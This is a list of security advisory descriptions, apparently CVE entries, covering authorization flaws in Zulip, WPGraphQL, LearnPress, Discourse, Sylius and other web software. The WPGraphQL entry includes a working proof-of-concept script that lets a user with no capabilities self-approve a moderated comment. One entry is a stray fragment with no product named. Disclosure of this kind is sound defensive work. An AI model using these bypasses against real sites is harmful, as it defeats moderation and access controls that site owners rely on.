Zulip is an open-source team collaboration tool. A vulnerability in version 8.0 is similar to CVE-2023-32677, but applies to multi-use invitations, not single-use invitation links as in the prior CVE. Specifically, it applies when the installation has configured non-admins to be able to invite users and create multi-use invitations, and has also configured only admins to be able to invite users to streams. As in CVE-2023-32677, this does not let users invite new users to arbitrary streams, only to streams that the inviter can already see. Version 8.1 fixes this issue. As a workaround, administrators can limit sending of invitations down to users who also have the permission to add users to streams.

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.14 and 6.7.0, low-privileged Control Panel users could create taxonomy terms by submitting requests to the field action processing endpoint with attacker-controlled field definitions. This bypasses the authorization checks enforced on the standard taxonomy term creation endpoint. This has been fixed in 5.73.14 and 6.7.0.

Weblate is a web based localization tool. In versions prior to 5.17, the translation memory API exposed unintended endpoints, which in turn didn't enforce proper access control. This issue has been fixed in version 5.17. If users are unable to update immediately, they can work around this issue by blocking access to /api/memory/ in the HTTP server, which removes access to this feature.

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized deletion of quiz question answers due to a missing capability check in the delete_question_answer() function of the EditQuestionAjax class in all versions up to, and including, 4.3.2.8. The AbstractAjax::catch_lp_ajax() dispatcher verifies a wp_rest nonce but performs no current_user_can() check, and the QuestionAnswerModel::delete() method only validates minimum answer counts without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete answer options from any quiz question on the site.

The KiviCare WordPress plugin before 3.2.1 does not have proper CSRF and authorisation checks in various AJAX actions, allowing any authenticated users, such as subscriber to call them. Attacks include but are not limited to: Add arbitrary Clinic Admin/Doctors/etc and update plugin's settings

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized email notification triggering due to missing capability checks on all 10 functions in the SendEmailAjax class in all versions up to, and including, 4.3.2.8. The AbstractAjax::catch_lp_ajax() dispatcher verifies a wp_rest nonce but performs no current_user_can() check before dispatching to handler functions. The wp_rest nonce is embedded in the frontend JavaScript for all authenticated users. This makes it possible for authenticated attackers, with Subscriber-level access and above, to trigger arbitrary email notifications to admins, instructors, and users, enabling email flooding, social engineering, and impersonation of admin decisions regarding instructor requests.

This makes it possible for authenticated attackers, with contributor level access and above, to upload images to the WordPress Media Library by supplying remote image URLs that the server downloads and creates as media attachments.

OpenClaw is a personal AI assistant. In versions 2026.2.17 and below, the Discord moderation action handling (timeout, kick, ban) uses sender identity from request parameters in tool-driven flows, instead of trusted runtime sender context. In setups where Discord moderation actions are enabled and the bot has the necessary guild permissions, a non-admin user can request moderation actions by spoofing sender identity fields. This issue has been fixed in version 2026.2.18.

Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, a type coercion issue in a post actions API endpoint allowed non-staff users to issue warnings to other users. Warnings are a staff-only moderation feature. The vulnerability required the attacker to be a logged-in user and to send a specifically crafted request. No data exposure or privilege escalation beyond the ability to create unauthorized user warnings was possible. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.

wpForo Forum 2.4.14 contains a missing authorization vulnerability that allows authenticated subscribers to approve or unapprove any forum post via the wpforo_approve_ajax AJAX handler.

In Sylius before versions 1.6.9, 1.7.9 and 1.8.3, the user may register in a shop by email mail@example.com, verify it, change it to the mail another@domain.com and stay verified and enabled. This may lead to having accounts addressed to totally different emails, that were verified. Note, that this way one is not able to take over any existing account (guest or normal one). The issue has been patched in Sylius 1.6.9, 1.7.9 and 1.8.3. As a workaround, you may resolve this issue on your own by creating a custom event listener, which will listen to the sylius.customer.pre_update event. You can determine that email has been changed if customer email and user username are different. They are synchronized later on. Pay attention, to email changing behavior for administrators. You may need to skip this logic for them. In order to achieve this, you should either check master request path info, if it does not contain /admin prefix or adjust event triggered during customer update in the shop. You can find more information on how to customize the event here.
